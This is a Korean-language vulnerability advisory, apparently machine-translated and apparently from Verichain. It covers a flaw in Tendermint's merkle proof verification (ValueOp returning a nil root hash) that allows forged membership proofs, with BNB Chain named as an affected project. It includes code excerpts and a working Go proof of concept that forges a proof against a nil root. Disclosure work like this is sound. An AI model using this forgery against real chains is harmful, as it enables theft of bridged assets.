이 권고는 공격자가 BNB 체인과 같은 IAVL 증명 검증을 사용하여 프로젝트에서 자산을 훔쳐 잠재적으로 상당한 재정적 손실을 초래할 수 있는 Tendermint 라이브러리의 Verichain이 발견한 심각한 취약점을 강조합니다.
우리는 이 문제를 2022년 10월 초에 Tendermint/Cosmos 관리자에게 비공개로 공개했습니다. Tendermint/Cosmos 관리자는 취약점을 인정했지만 IBC 및 Cosmos-SDK 구현이 이미 ICS로 마이그레이션되었기 때문에 Tendermint 라이브러리에 패치를 릴리스하지 않기로 결정했습니다. IAVL 머클 증명 검증의 23개입니다.
우리 생각에는 이 버그가 Cosmos/IBC 체인의 최신 구현에는 영향을 미치지 않지만 BNB 체인과 같은 다른 프로젝트에서 사용되기 때문에 Tendermint 라이브러리에서 수정되어야 한다고 생각합니다. 취약한 코드가 더 이상 사용되지 않는 경우 Tendermint 라이브러리에서 제거해야 합니다.
Tendermint 라이브러리 사용자가 문제를 인지하고 해결할 수 있도록 하기 위해 우리는 취약점 공개 정책 에 따라 120일을 기다린 후 이 권고를 대중에게 공개하기로 결정했습니다. 우리는 Tendermint의 IAVL 증명 검증을 사용하는 모든 프로젝트가 자산을 보호하고 악용 위험을 완화하기 위해 필요한 조치를 취할 것을 촉구합니다.
요약
Tendermint의 핵심 라이브러리( https://github.com/tendermint/tendermint/ )에는 Merkle 증명을 처리하기 위한 'merkle'이라는 전용 모듈이 포함되어 있습니다. 증명 연산자 `ValueOp`는 키-값 쌍 입력을 확인한 후 예상치 못한 상황(예: 트리의 노드 수가 음수)에서 오류를 발생시키는 대신 nil 루트 해시를 반환합니다.
결과적으로, 빈 Merkle 트리의 루트 해시가 nil로 선언되면 공격자는 임의의 키-값 쌍에 대한 멤버십 증명을 위조할 수 있습니다(nil이 Golang에서 초기화되지 않은 바이트 슬라이스의 기본값이기 때문에 발생할 가능성이 매우 높습니다).
분석
증명 연산자 'ValueOp'는 (merkle/proof_value.go)에서 구현됩니다. 실행 시 먼저 입력 키-값 쌍을 해시한 다음 해시 결과를 현재 실행 중인 증명의 리프 해시와 비교합니다(merkle/proof_value.go, 92-94행).
------------------------------------------------------------------------ 77 func (op ValueOp) Run(args [][]byte) ([][]byte, error) { ... 92 if !bytes.Equal(kvhash, op.Proof.LeafHash) { 93 return nil, fmt.Errorf("leaf hash mismatch: want %X got %X", op.Proof.LeafHash, kvhash) 94 }이 검사가 통과되면 증명에서 계산된 루트 해시가 반환됩니다(96-98행).
96 return [][]byte{ 97 op.Proof.ComputeRootHash(), 98 }, nil`ComputeRootHash` 함수는 `computeHashFromAunts`에 대한 래퍼입니다(merkle/proof.go, 71-78행):
71 func (sp *Proof) ComputeRootHash() []byte { 72 return computeHashFromAunts( 73 sp.Index, 74 sp.Total, 75 sp.LeafHash, 76 sp.Aunts, 77 ) 78 }그리고 이 함수는 오류가 발생할 때마다 nil 바이트 슬라이스를 반환합니다(merkle/proof.go, line 152-154, 159-161, 164-166, 170-172, 176-178).
151 func computeHashFromAunts(index, total int64, leafHash []byte, innerHashes [][]byte) []byte { 152 if index >= total || index < 0 || total <= 0 { 153 return nil 154 } ... 159 if len(innerHashes) != 0 { 160 return nil 161 } ... 164 if len(innerHashes) == 0 { 165 return nil 166 } ... 170 if leftHash == nil { 171 return nil 172 } ... 176 if rightHash == nil { 177 return nil 178 } ... 181 }결과적으로 오류는 무시되고 `ValueOp.Run`은 nil 오류와 함께 nil 루트 해시를 반환하여 증명이 유효함을 나타냅니다.
착취
활용은 간단합니다. 간단히 증명의 리프 해시를 선택한 키-값 쌍의 해시 값으로 설정하고 다른 증명 매개변수를 기본값으로 두어 첫 번째 검사에서 `computeHashFromAunts`의 nil 반환을 트리거합니다(merkle/ proof.go, 152-154행).
공격을 시연하는 PoC는 다음과 같습니다.
1 package main 2 3 import ( 4 "bytes" 5 goanimo "github.com/tendermint/go-amino" 6 "github.com/tendermint/tendermint/crypto/merkle" 7 "github.com/tendermint/tendermint/crypto/tmhash" 8 "log" 9 ) 10 11 func main() { 12 // a fake key-value pair and its hash 13 key := []byte{0x13} 14 value := []byte{0x37} 15 vhash := tmhash.Sum(value) 16 bz := new(bytes.Buffer) 17 _ = goanimo.EncodeByteSlice(bz, key) 18 _ = goanimo.EncodeByteSlice(bz, vhash) 19 kvhash := tmhash.Sum(append([]byte{0}, bz.Bytes()...)) 20 21 // the malicious `op` 22 op := merkle.NewValueOp( 23 key, 24 &merkle.Proof{LeafHash: kvhash}, 25 ) 26 27 // the nil root 28 var root []byte 29 30 // should return nil (successfully verified) 31 log.Println(merkle.ProofOperators{op}.Verify(root, "/"+string(key), [][]byte{value})) 32 }영향을 받는 제품
텐더민트(모든 버전)
IAVL 머클 증명 검증을 사용하는 Tendermint 기반의 다른 프로젝트도 유사한 공격에 취약할 수 있습니다.
타임라인
2022년 10월 11일: BNB 팀에 비공개로 보고
2022년 10월 12일: Tendermint/Cosmos 관리자에게 비공개로 보고하세요.
2023년 2월 28일: 공개 출시


